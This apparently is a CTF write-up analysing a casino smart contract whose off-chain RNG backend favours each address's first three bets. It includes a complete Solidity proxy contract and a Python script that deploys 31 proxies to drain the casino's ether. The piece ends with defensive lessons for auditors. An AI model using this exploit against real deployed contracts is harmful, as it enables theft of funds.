Skip to main content

Command Palette

Search for a command to run...

Exploiting Biased Off-Chain RNG in Ethereum Smart Contracts

Updated
9 min read
Exploiting Biased Off-Chain RNG in Ethereum Smart Contracts

This post provides a rigorous, low-level analysis of a vulnerable casino smart contract system, focusing on the interaction between on-chain logic and an off-chain RNG oracle. We formalise the vulnerability as a probabilistic bias in the oracle's output distribution, exploitable via address multiplicity. The exploit leverages EVM deployment mechanics for proxy generation, transaction sequencing for bet placement, and timing dependencies on oracle polling. We derive the minimal number of proxies required for drainage using expected value calculations and implement a resilient Python exploit script with retry semantics. Gas optimisations, reentrancy considerations, and potential countermeasures are discussed in depth.

Setup Contract

The Setup contract is the entry point. It's deployed with 100 ETH and creates the Chal (casino) instance.

pragma solidity ^0.8.13;

import "./Chal.sol";

contract Setup {
    Chal public immutable TARGET;

    constructor() payable {
        // Create the challenge contract and pass the deployer (msg.sender) as the trusted backend
        TARGET = new Chal(msg.sender);

        // Require 100 ether to be sent during deployment
        require(msg.value == 100 ether, "Must send 100 ether");

        // Send all the ether to the challenge contract
        payable(address(TARGET)).transfer(100 ether);
    }

    function isSolved() public view returns (bool) {
        // Challenge is solved if the TARGET contract has less than 10 ether
        return address(TARGET).balance < 10 ether;
    }
}

Key Points:

  • msg.sender (the deployer) is passed to Chal as casinoBackend. This address is authorised to settle bets.

    All 100 ETH is forwarded to Chal via payable(address(TARGET)).transfer(100 ether).

  • isSolved() checks if Chal's balance is < 10 ETH. We need to drain at least 91 ETH.

Using transfer() limits gas to 2300, preventing reentrancy attacks here. But we'll see reentrancy mitigations in Chal later.

Challenge Contract

The challenge contract handles bets on three games: Coin Flip, Blackjack, and Rock-Paper-Scissors.

pragma solidity ^0.8.13;

contract Chal {
    address public owner;
    address public casinoBackend;
    uint256 public constant MIN_BET = 0.05 ether;
    uint256 public constant MAX_BET = 1 ether;
    uint256 public nextBetId;

    struct Bet {
        address player;
        uint8 machine;
        uint8 games;
        uint256 amount;
        bool settled;
        bool won;
    }

    mapping(uint256 => Bet) public bets;
    mapping(address => uint8) public games;

    event BetPlaced(uint256 indexed id, address indexed player, uint256 amount);
    event BetResolved(uint256 indexed id, address indexed player, uint256 amount, bool won);

    // Accept a trusted backend address from the deployer (Setup)
    constructor(address backend) {
        owner = msg.sender;
        casinoBackend = backend;
        nextBetId = 1;
    }

    // Accept ether
    receive() external payable {}

    // Register a bet; RNG is handled off-chain by the casino RNG service.
    function playCoinFlip() external payable returns (uint256) {
        require(msg.value >= MIN_BET, "Must send ether to flip");
        require(msg.value <= MAX_BET, "Max 1 ether per flip");

        uint256 id = nextBetId++;
        games[msg.sender]++;
        uint8 machine = 1;
        bets[id] = Bet(msg.sender, machine, games[msg.sender], msg.value, false, false);

        emit BetPlaced(id, msg.sender, msg.value);
        return id;
    }

    // Similar functions for playBlackJack() and playRockPaperScissors()...

    // Settle functions (e.g., settleCoinFlip)
    function settleCoinFlip(uint256 id, uint256 random_1_to_10) external {
        require(msg.sender == casinoBackend, "Only backend can settle");
        Bet storage b = bets[id];
        require(b.player != address(0), "Bet not found");
        require(!b.settled, "Already settled");

        bool outcome = (random_1_to_10 % 2) == 0;

        // effects first
        b.settled = true;
        b.won = outcome;

        if (outcome) {
            uint256 payout = b.amount * 2;
            // transfer after state update to mitigate reentrancy
            payable(b.player).transfer(payout);
        }

        emit BetResolved(id, b.player, b.amount, outcome);
    }

    // Similar settle functions for other games...

    // View functions: getBet(), getBalance()
}

Key points:

  • Players call playCoinFlip(), playBlackJack(), or playRockPaperScissors() with ETH between 0.05 and 1 ETH. This increments nextBetId, tracks games[msg.sender] (games played by address), and stores the bet in bets[id].

  • Bets are not settled on-chain. The backend (off-chain service) calls settle functions with a random value.

  • Only casinoBackend can settle. Outcomes are determined by the provided random number (e.g., for Coin Flip: even = win, payout 2x).

  • If win, transfer() sends payout. State updated before transfer (checks-effects-interactions pattern to prevent reentrancy).

  • games[address] counts total games per player, influencing backend bias.

Relying on off-chain settlement introduces trust in the backend. If biased, it's exploitable. Also, transfer() is safe but limits complex receivers.

Examining the Off-Chain RNG Backend

The backend is a Python script that scans for unsettled bets and settles them using secrets.randbelow for cryptographic randomness, but with biases.

# Key parts
def secure_randint(a: int, b: int) -> int:
    return secrets.randbelow(b - a + 1) + a

# In main loop:
total = contract.functions.nextBetId().call()
for bid in range(1, int(total)):
    player, machine, games, amount, settled, won = contract.functions.getBet(bid).call()
    if not settled:
        if machine == 1:  # Coin Flip
            if games > 3:
                if secure_randint(1, 100) <= 40:
                    r = secure_randint(1, 10)
                else:
                    r = secure_randint(1, 5) * 2 - 1  # Odd numbers (loss)
            else:
                r = secure_randint(1, 5) * 2  # Even numbers (win)
            # Settle tx...

# Similar biased logic for Blackjack (machine 2) and RPS (machine 3)

Analysis

  • For games <= 3 (per address):

    • Coin Flip: r = secure_randint(1, 5) * 2 → 2,4,6,8,10 (all even) → 100% win (payout 2x).

    • Blackjack: 50% chance of <=21 (win/push), 50% blackjack (3.75x).

    • RPS: 50% normal RNG, 50% force win (2x).

  • For games > 3, RNG favors losses (e.g., Coin Flip: 60% odd numbers).

  • games[msg.sender] resets per unique address. Using multiple addresses (or proxies) resets the counter.

  • Runs every 1s, settles unsettled bets automatically.

Exploit Path: Use Coin Flip for guaranteed 100% wins on the first 3 bets per address. Max bet 1 ETH → 2 ETH payout → net +1 ETH per bet. Per address: +3 ETH profit. To drain 91+ ETH, need ~31 unique addresses (93 ETH drained).

Direct multi-account use requires many private keys. Instead, I planned to deploy the proxy contracts, as each proxy's address is unique.

Exploitation Strategy

  1. Deploy multiple CasinoExploit contracts. Each:

    • Forwards bets to Chal.playCoinFlip().

    • Receives payouts (since player = proxy address).

    • Allows withdrawal to the attacker.

  2. Bet Sequence: For each proxy, place 3 bets of 1 ETH each. Wait ~2-5s for backend settlement.

  3. Withdraw: Call proxy's withdraw() to send winnings back.

  4. Scale: 31 proxies → 93 bets → drain 93 ETH (casino left with ~6 ETH after gas).

Attacker Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

interface IChal {
    function playCoinFlip() external payable returns (uint256);
}

contract CasinoExploit {
    IChal public immutable target;
    address public owner;

    constructor(address _target) {
        target = IChal(_target);
        owner = msg.sender;
    }

    function attack() external payable {
        require(msg.sender == owner, "Not owner");
        require(msg.value == 1 ether, "Send 1 ETH");
        target.playCoinFlip{value: 1 ether}();
    }

    function withdraw() external {
        require(msg.sender == owner, "Not owner");
        payable(owner).transfer(address(this).balance);
    }

    receive() external payable {}
}
  • Constructor: Sets the target Chal address.

  • attack(): Forwards 1 ETH to playCoinFlip(). msg.sender in Chal is this proxy's address.

  • withdraw(): Sends all balance to the owner.

  • receive(): Accepts payouts.

The script below includes retries for connection issues

#!/usr/bin/env python3
import os
import time
import logging
import requests
from web3 import Web3

from web3.exceptions import TransactionNotFound
from eth_account import Account
from solcx import compile_source
from requests.adapters import HTTPAdapter
from urllib3.util.retry import Retry

logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")

UUID = os.getenv("UUID", "70a2e351-6191-4c33-bf08-38ac08809079")
RPC_BASE = os.getenv("RPC_BASE", "http://127.0.0.1:8585")
RPC_URL = f"{RPC_BASE}/{UUID}"

MAX_RETRIES = 10
BACKOFF_FACTOR = 2
BETWEEN_BET_DELAY = 5
BETWEEN_PROXY_DELAY = 5

EXPLOIT_SOURCE = '''
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
interface IChal {
    function playCoinFlip() external payable returns (uint256);
}
contract CasinoExploit {
    IChal public immutable target;
    address public owner;

    constructor(address _target) {
        target = IChal(_target);
        owner = msg.sender;
    }

    function attack() external payable {
        require(msg.sender == owner, "Not owner");
        require(msg.value == 1 ether, "Send 1 ETH");
        target.playCoinFlip{value: 1 ether}();
    }

    function withdraw() external {
        require(msg.sender == owner, "Not owner");
        payable(owner).transfer(address(this).balance);
    }

    receive() external payable {}
}
'''

def create_session_with_retry():
    session = requests.Session()
    retry = Retry(
        total=MAX_RETRIES,
        connect=MAX_RETRIES,
        read=MAX_RETRIES,
        redirect=3,
        backoff_factor=BACKOFF_FACTOR,
        status_forcelist=[429, 500, 502, 503, 504],
        raise_on_status=False
    )
    adapter = HTTPAdapter(max_retries=retry)
    session.mount("http://", adapter)
    session.mount("https://", adapter)
    return session

def get_web3():
    session = create_session_with_retry()
    w3 = Web3(Web3.HTTPProvider(RPC_URL, session=session))
    try:
        w3.eth.block_number
        logging.info("Connected to node")
        return w3
    except Exception as e:
        logging.error(f"Failed to connect to {RPC_URL}: {e}")
        raise

def compile_contracts(source_code):
    compiled = compile_source(source_code, output_values=['abi', 'bin'])
    interfaces = {}
    for path, data in compiled.items():
        name = path.split(":")[-1]
        interfaces[name] = data
    return interfaces

def main():
    priv = os.getenv("PLAYER_KEY", "<REDACTED>")
    if priv.startswith("0x"): priv = priv[2:]
    acct = Account.from_key(bytes.fromhex(priv))

    # Connect with retru
    w3 = None
    for attempt in range(3):
        try:
            w3 = get_web3()
            break
        except:
            logging.warning(f"Connection attempt {attempt+1}/3 failed. Retrying in 5s...")
            time.sleep(5)
    if not w3:
        logging.error("Failed to connect after retries")
        return

    SETUP_ABI = [{"inputs": [], "name": "TARGET", "outputs": [{"internalType": "address", "name": "", "type": "address"}], "stateMutability": "view", "type": "function"}]
    setup_addr = os.getenv("SETUP_ADDRESS", "<REDACTED>")
    setup = w3.eth.contract(address=setup_addr, abi=SETUP_ABI)
    chal_addr = setup.functions.TARGET().call()
    logging.info(f"Target (Chal): {chal_addr}")
    logging.info(f"Attacker: {acct.address}")

    initial_bal = w3.eth.get_balance(chal_addr)
    logging.info(f"Initial casino balance: {w3.from_wei(initial_bal, 'ether')} ETH")

    compiled = compile_contracts(EXPLOIT_SOURCE)
    if "CasinoExploit" not in compiled:
        logging.error("Compilation failed")
        return
    abi = compiled["CasinoExploit"]["abi"]
    bytecode = compiled["CasinoExploit"]["bin"]

    num_proxies = 31
    exploits = []

    for i in range(num_proxies):
        logging.info(f"Deploying proxy {i+1}/{num_proxies}")
        Exploit = w3.eth.contract(abi=abi, bytecode=bytecode)

        for attempt in range(MAX_RETRIES):
            try:
                nonce = w3.eth.get_transaction_count(acct.address)
                tx = Exploit.constructor(chal_addr).build_transaction({
                    'from': acct.address,
                    'nonce': nonce,
                    'gasPrice': w3.eth.gas_price,
                    'chainId': w3.eth.chain_id,
                })
                tx['gas'] = int(w3.eth.estimate_gas(tx) * 1.3)
                signed = acct.sign_transaction(tx)
                tx_hash = w3.eth.send_raw_transaction(signed.raw_transaction)
                receipt = w3.eth.wait_for_transaction_receipt(tx_hash, timeout=120)
                addr = receipt.contractAddress
                logging.info(f"Proxy {i+1} deployed: {addr}")
                exploits.append(w3.eth.contract(address=addr, abi=abi))
                break
            except Exception as e:
                logging.warning(f"Deploy failed (attempt {attempt+1}): {e}")
                time.sleep(BACKOFF_FACTOR ** attempt)
                try:
                    w3 = get_web3()
                except:
                    pass
        else:
            logging.error(f"Failed to deploy proxy {i+1}")
            continue

        time.sleep(BETWEEN_PROXY_DELAY)

    total_bets = 0
    for idx, exploit in enumerate(exploits):
        for bet in range(3):
            logging.info(f"Proxy {idx+1} | Bet {bet+1}/3")
            for attempt in range(MAX_RETRIES):
                try:
                    nonce = w3.eth.get_transaction_count(acct.address)
                    tx = exploit.functions.attack().build_transaction({
                        'from': acct.address,
                        'value': w3.to_wei(1, 'ether'),
                        'nonce': nonce,
                        'gasPrice': w3.eth.gas_price,
                        'chainId': w3.eth.chain_id,
                    })
                    tx['gas'] = int(exploit.functions.attack().estimate_gas({
                        'from': acct.address, 'value': w3.to_wei(1, 'ether')
                    }) * 1.3)

                    signed = acct.sign_transaction(tx)
                    tx_hash = w3.eth.send_raw_transaction(signed.raw_transaction)
                    receipt = w3.eth.wait_for_transaction_receipt(tx_hash, timeout=120)
                    logging.info(f"Bet placed: {tx_hash.hex()}")
                    total_bets += 1
                    break
                except Exception as e:
                    logging.warning(f"Bet failed (attempt {attempt+1}): {e}")
                    time.sleep(BACKOFF_FACTOR ** attempt)
                    try:
                        w3 = get_web3()
                        exploit = w3.eth.contract(address=exploit.address, abi=abi)
                    except:
                        pass
            else:
                logging.error(f"Failed to place bet {bet+1} for proxy {idx+1}")
                continue

            time.sleep(BETWEEN_BET_DELAY)

        # Withdraw after 3 bets
        for attempt in range(MAX_RETRIES):
            try:
                nonce = w3.eth.get_transaction_count(acct.address)
                tx = exploit.functions.withdraw().build_transaction({
                    'from': acct.address,
                    'nonce': nonce,
                    'gasPrice': w3.eth.gas_price,
                    'chainId': w3.eth.chain_id,
                })
                tx['gas'] = int(exploit.functions.withdraw().estimate_gas({'from': acct.address}) * 1.3)
                signed = acct.sign_transaction(tx)
                tx_hash = w3.eth.send_raw_transaction(signed.raw_transaction)
                w3.eth.wait_for_transaction_receipt(tx_hash, timeout=120)
                logging.info(f"Withdrew from proxy {idx+1}")
                break
            except Exception as e:
                logging.warning(f"Withdraw failed (attempt {attempt+1}): {e}")
                time.sleep(BACKOFF_FACTOR ** attempt)
                try:
                    w3 = get_web3()
                    exploit = w3.eth.contract(address=exploit.address, abi=abi)
                except:
                    pass
        else:
            logging.error(f"Failed to withdraw from proxy {idx+1}")

    final_bal = w3.eth.get_balance(chal_addr)
    logging.info(f"Final casino balance: {w3.from_wei(final_bal, 'ether')} ETH")
    logging.info(f"Attacker balance: {w3.from_wei(w3.eth.get_balance(acct.address), 'ether')} ETH")

    if final_bal < w3.to_wei(10, 'ether'):
        logging.info("CHALLENGE SOLVED!")
    else:
        logging.warning("Not solved yet. Try more proxies or check backend logs.")

if __name__ == "__main__":
    main()

Each deploy ~1M gas, bet ~100K, withdraw ~50K. Total ~5-10 ETH needed initially. After Casino’s balance <10 ETH, isSolved() = true, and the challenge is solved.

Conclusion

This exploit highlights the dangers of off-chain dependencies in DeFi. Even "secure" RNG can be biased, and per-address tracking can be bypassed with proxies.

Lessons:

  • Use verifiable on-chain RNG (e.g., Chainlink VRF).

  • Avoid player-favouring biases; they invite grinding.

  • Test for multi-account exploits.

  • Always Audit full stacks; on-chain + off-chain.

This technical write-up is co-crafted with Grok.